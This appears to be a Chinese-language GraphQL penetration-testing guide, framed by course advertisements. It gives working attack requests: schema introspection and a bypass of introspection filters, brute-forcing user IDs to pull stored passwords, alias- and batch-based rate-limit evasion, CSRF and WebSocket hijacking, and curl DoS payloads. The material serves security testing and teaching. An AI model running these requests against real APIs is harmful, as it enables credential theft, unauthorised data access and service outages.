通过 8kSec 学院深化您在 移动安全 方面的专业知识。通过我们的自学课程掌握 iOS 和 Android 安全并获得认证:
介绍
GraphQL 被 强调 为 REST API 的高效替代方案 ,提供了一种简化的从后端查询数据的方法。与 REST 相比,REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过 单个请求 获取所有所需的信息。这种简化显著 有利于开发人员 ,减少了他们的数据获取过程的复杂性。
GraphQL 和安全性
随着新技术的出现,包括 GraphQL,新的安全漏洞也随之而来。一个关键点是 GraphQL 默认不包含身份验证机制 。开发人员有责任实施这些安全措施。没有适当的身份验证,GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。
目录暴力攻击和 GraphQL
为了识别暴露的 GraphQL 实例,建议在目录暴力攻击中包含特定路径。这些路径包括:
识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息,请参阅 GraphQL 关于自省的文档:GraphQL:API 的查询语言。
指纹识别
工具 graphw00f 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有用的信息。
通用查询
要检查 URL 是否为 GraphQL 服务,可以发送一个 通用查询 ,query{__typename}
。如果响应包含 {"data": {"__typename": "Query"}}
,则确认该 URL 托管了一个 GraphQL 端点。此方法依赖于 GraphQL 的 __typename
字段,该字段揭示了被查询对象的类型。
基本枚举
Graphql 通常支持 GET 、POST (x-www-form-urlencoded) 和 POST (json)。虽然出于安全考虑,建议仅允许 json 以防止 CSRF 攻击。
反向查询
要使用反向查询发现架构信息,请查询 __schema
字段。该字段在所有查询的根类型上可用。
Copy query = { __schema {types{name,fields{name} }}}
通过此查询,您将找到所有正在使用的类型的名称:
Copy query = { __schema {types{name,fields{name,args{name,description, type {name,kind,ofType{name, kind}}}}}}}
通过这个查询,您可以提取所有类型、它的字段和它的参数(以及参数的类型)。这将非常有助于了解如何查询数据库。
错误
了解错误 是否会被显示 是很有趣的,因为它们将提供有用的信息。
Copy ?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
通过自省枚举数据库模式
如果自省已启用但上述查询无法运行,请尝试从查询结构中删除 onOperation
、onFragment
和 onField
指令。
Copy #Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
.. .FullType
}
directives {
name
description
args {
.. .InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true ) {
name
description
args {
.. .InputValue
}
type {
.. .TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
.. .InputValue
}
interfaces {
.. .TypeRef
}
enumValues(includeDeprecated: true ) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
.. .TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
.. .TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
内联自省查询:
Copy /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
最后一行代码是一个graphql查询,将从graphql中转储所有元信息(对象名称、参数、类型...)
如果启用了自省,您可以使用 GraphQL Voyager 在图形用户界面中查看所有选项。
查询
现在我们知道数据库中保存了哪种信息,让我们尝试提取一些值 。
在自省中,您可以找到可以直接查询的对象 (因为您不能仅仅因为对象存在就查询它)。在下图中,您可以看到“queryType ”被称为“Query ”,而“Query ”对象的一个字段是“flags ”,这也是一种对象类型。因此,您可以查询标志对象。
请注意,查询“flags ”的类型是“Flags ”,该对象定义如下:
您可以看到“Flags ”对象由name 和value 组成。然后,您可以使用查询获取所有标志的名称和值:
Copy query = {flags{name , value}}
注意,如果查询的对象 是像字符串 这样的原始****类型 ,如以下示例所示
您可以直接查询:
在另一个例子中,"Query " 类型对象中有两个对象:"user " 和 "users "。
如果这些对象不需要任何参数进行搜索,可以直接请求 所需的数据来检索所有信息 。在这个互联网示例中,你可以提取保存的用户名和密码:
然而,在这个例子中,如果你尝试这样做,你会得到这个错误 :
看起来它会使用类型为 Int 的 "uid " 参数进行搜索。
无论如何,我们已经知道,在 Basic Enumeration 部分提出了一个查询,显示了所有所需的信息:query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
如果你阅读我运行该查询时提供的图像,你会看到 "user " 有一个类型为 Int 的 arg "uid "。
因此,通过一些轻量级的 uid 暴力破解,我发现 _uid =1 时检索到了一个用户名和一个密码:
query={user(uid:1){user,password}}
注意我发现 我可以请求 参数 "user " 和 "password ",因为如果我尝试查找不存在的内容 (query={user(uid:1){noExists}}
),我会得到这个错误:
在枚举阶段 ,我发现 "dbuser " 对象的字段有 "user " 和 "password "。
查询字符串转储技巧(感谢 @BinaryShadow_)
如果你可以通过字符串类型进行搜索,例如:query={theusers(description: ""){username,password}}
,并且你搜索一个空字符串 ,它将转储所有数据 。 (注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 " description " 的字符串字段使用 " theusers " 进行搜索 )。
搜索
在这个设置中,一个数据库 包含人员 和电影 。人员 通过他们的电子邮件 和姓名 进行识别;电影 通过它们的名称 和评分 进行识别。人员 可以互为朋友,也可以拥有电影,表示数据库中的关系。
你可以通过姓名 搜索人员并获取他们的电子邮件:
Copy {
searchPerson (name: "John Doe" ) {
email
}
}
您可以通过姓名 搜索人员并获取他们的订阅 的电影 :
Copy {
searchPerson (name: "John Doe" ) {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
注意如何指示检索该人的 subscribedMovies
的 name
。
您还可以同时搜索多个对象 。在这种情况下,搜索了 2 部电影:
Copy {
searchPerson (subscribedMovies: [{name : "Inception" } , {name : "Rocky" }]) {
name
}
}r
或者甚至使用别名的多个不同对象的关系 :
Copy {
johnsMovieList : searchPerson (name: "John Doe" ) {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList : searchPerson (name: "David Smith" ) {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
变更用于在服务器端进行更改。
在 introspection 中,您可以找到 声明的 变更 。在下图中,"MutationType " 被称为 "Mutation ",而 "Mutation " 对象包含变更的名称(在本例中为 "addPerson "):
在此设置中,数据库 包含 人员 和 电影 。人员 通过他们的 电子邮件 和 姓名 进行识别;电影 通过它们的 名称 和 评分 进行识别。人员 可以互为朋友,并且也可以拥有电影,表示数据库中的关系。
一个 在数据库中创建新 电影的变更可以像以下示例(在此示例中,变更被称为 addMovie
):
Copy mutation {
addMovie (name: "Jumanji: The Next Level" , rating: "6.8/10" , releaseYear: 2019 ) {
movies {
name
rating
}
}
}
注意查询中如何指示值和数据类型。
此外,数据库支持一个mutation 操作,名为addPerson
,允许创建persons 及其与现有friends 和movies 的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,然后才能将它们链接到新创建的人。
Copy mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
指令重载
如本报告中描述的漏洞之一 所述,指令重载意味着调用指令,即使是数百万次,以使服务器浪费操作,直到可能导致拒绝服务(DoS)。
在1个API请求中批量暴力破解
此信息来自https://lab.wallarm.com/graphql-batching-attack/ 。
通过GraphQL API进行身份验证,同时发送多个不同凭据的查询 以进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。
下面是一个应用程序身份验证请求的最简单演示,一次有3个不同的电子邮件/密码对 。显然,可以以相同的方式在单个请求中发送数千个:
从响应截图中可以看到,第一个和第三个请求返回了_null_,并在_error_部分反映了相应的信息。第二个变更具有正确的身份验证 数据,响应中包含正确的身份验证会话令牌。
无需自省的GraphQL
越来越多的graphql端点正在禁用自省 。然而,当收到意外请求时,graphql抛出的错误足以让像clairvoyance 这样的工具重建大部分架构。
此外,Burp Suite扩展GraphQuail 观察通过Burp的GraphQL API请求 并构建 一个内部GraphQL 架构 ,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时,该扩展返回一个假响应。因此,GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息,请查看此处 。
一个很好的词表 可以在这里发现GraphQL实体 。
绕过GraphQL自省防御
为了绕过API中对自省查询的限制,在__schema
关键字后插入特殊字符 被证明是有效的。这种方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注__schema
关键字来阻止自省。通过添加像空格、换行符和逗号 这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在__schema
后面带有换行符的自省查询可能会绕过这样的防御:
Copy # Example with newline to bypass
{
"query" : "query{__schema
{queryType{name}}}"
}
如果不成功,请考虑其他请求方法,例如 GET 请求 或 使用 x-www-form-urlencoded
的 POST 请求 ,因为限制可能仅适用于 POST 请求。
尝试 WebSockets
如 此演讲 中提到的,检查是否可以通过 WebSockets 连接到 graphQL,因为这可能允许您绕过潜在的 WAF,并使 websocket 通信泄露 graphQL 的架构:
Copy ws = new WebSocket ( 'wss://target/graphql' , 'graphql-ws' );
ws . onopen = function start (event) {
var GQL_CALL = {
extensions : {} ,
query : `
{
__schema {
_types {
name
}
}
}`
}
var graphqlMsg = {
type : 'GQL.START' ,
id : '1' ,
payload : GQL_CALL ,
};
ws .send ( JSON .stringify (graphqlMsg));
}
发现暴露的 GraphQL 结构
当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有效的策略。这些查询可以通过开发者工具中的 Sources
选项卡找到,提供有关 API 架构的见解,并揭示潜在的 暴露的敏感查询 。在开发者工具中搜索的命令是:
Copy Inspect / Sources / "Search all files"
file : * mutation
file : * query
CSRF in GraphQL
如果你不知道什么是 CSRF,请阅读以下页面:
CSRF (Cross Site Request Forgery) 在外面,你将能够找到几个 未配置 CSRF 令牌的 GraphQL 端点。
请注意,GraphQL 请求通常通过使用内容类型 application/json
的 POST 请求发送。
Copy { "operationName" : null , "variables" :{} , "query" : "{\n user {\n firstName\n __typename\n }\n}\n" }
然而,大多数 GraphQL 端点也支持 form-urlencoded
POST 请求:
Copy query =% 7 B % 0 A ++ user +% 7 B % 0 A ++++ firstName % 0 A ++++ __typename % 0 A ++% 7 D % 0 A % 7 D % 0 A
因此,像之前那样的 CSRF 请求是 在没有预检请求的情况下 发送的,因此可以 利用 CSRF 在 GraphQL 中进行 更改 。
然而,请注意 Chrome 的 samesite
标志的新默认 cookie 值为 Lax
。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。
请注意,通常也可以将 查询 请求 作为 GET 请求发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。
此外,利用 XS-Search 攻击 可能能够利用用户的凭据从 GraphQL 端点提取内容。
有关更多信息,请 查看 原始帖子在这里 。
GraphQL 中的跨站 WebSocket 劫持
类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 跨站 WebSocket 劫持,以利用未保护的 cookie 进行 GraphQL 身份验证 ,并使用户在 GraphQL 中执行意外操作。
有关更多信息,请查看:
WebSocket Attacks GraphQL 中的授权
在端点上定义的许多 GraphQL 函数可能仅检查请求者的身份验证,而不检查授权。
修改查询输入变量可能导致敏感账户详细信息 泄露 。
突变甚至可能导致账户接管,试图修改其他账户数据。
Copy {
"operationName" : "updateProfile" ,
"variables" :{ "username" : INJECT , "data" : INJECT } ,
"query" : "mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
绕过 GraphQL 中的授权
将查询链接 在一起可以绕过一个弱认证系统。
在下面的示例中,您可以看到操作是“forgotPassword”,并且它应该只执行与之相关的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加“register”和一个用户变量,以便系统注册为新用户。
使用 GraphQL 中的别名绕过速率限制
在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时明确命名属性 。这个功能对于在单个请求中检索同一类型的多个实例 特别有用。别名可以用来克服 GraphQL 对象不能有多个同名属性的限制。
要详细了解 GraphQL 别名,推荐以下资源:Aliases 。
虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制HTTP 请求的数量 来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,因此它们可以绕过此类速率限制措施。
考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。
Copy # Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount ($code: Int) {
isvalidDiscount(code:$code ){
valid
}
isValidDiscount2:isValidDiscount(code:$code ){
valid
}
isValidDiscount3:isValidDiscount(code:$code ){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading 是一种 GraphQL 漏洞,攻击者通过为同一字段重载多个别名来使查询过载,从而导致后端解析器重复执行该字段。这可能会使服务器资源过载,导致 Denial of Service (DoS) 。例如,在下面的查询中,同一字段(expensiveField
)使用别名请求了 1,000 次,迫使后端计算 1,000 次,可能会耗尽 CPU 或内存:
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl - X POST - H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
' https :// example . com / graphql '
为了解决这个问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。
基于数组的查询批处理
基于数组的查询批处理 是一种漏洞,其中GraphQL API允许在单个请求中批处理多个查询,使攻击者能够同时发送大量查询。这可能会通过并行执行所有批处理查询来压垮后端,消耗过多的资源(CPU、内存、数据库连接),并可能导致服务拒绝(DoS) 。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl - X POST - H "User-Agent: graphql-cop/1.13" \
- H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
' https :// example . com / graphql '
在这个例子中,10个不同的查询被批量处理成一个请求,迫使服务器同时执行所有查询。如果利用更大的批量大小或计算开销大的查询,这可能会使服务器过载。
指令过载漏洞
指令过载 发生在GraphQL服务器允许带有过多重复指令的查询时。这可能会使服务器的解析器和执行器不堪重负,特别是当服务器重复处理相同的指令逻辑时。如果没有适当的验证或限制,攻击者可以通过构造一个包含大量重复指令的查询来利用这一点,从而触发高计算或内存使用,导致服务拒绝(DoS) 。
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
请注意,在前面的示例中,@aa
是一个可能未声明 的自定义指令。通常存在的一个常见指令是 @include
:
Copy curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
您还可以发送一个 introspection 查询以发现所有声明的指令:
Copy curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
然后使用一些自定义的 。
字段重复漏洞
字段重复 是一种漏洞,其中GraphQL服务器允许查询中重复过多的相同字段。这迫使服务器为每个实例冗余地解析该字段,消耗大量资源(CPU、内存和数据库调用)。攻击者可以构造包含数百或数千个重复字段的查询,导致高负载,并可能导致服务拒绝(DoS) 。
Copy # Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Tools
Vulnerability scanners
https://github.com/doyensec/inql : 用于高级GraphQL测试的Burp扩展。_扫描器 是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。 攻击者 _组件允许您运行批量GraphQL攻击,这对于规避实现不良的速率限制非常有用。
Clients
Automatic Tests
References
深化您在移动安全 方面的专业知识,参加8kSec学院。通过我们的自学课程掌握iOS和Android安全并获得认证: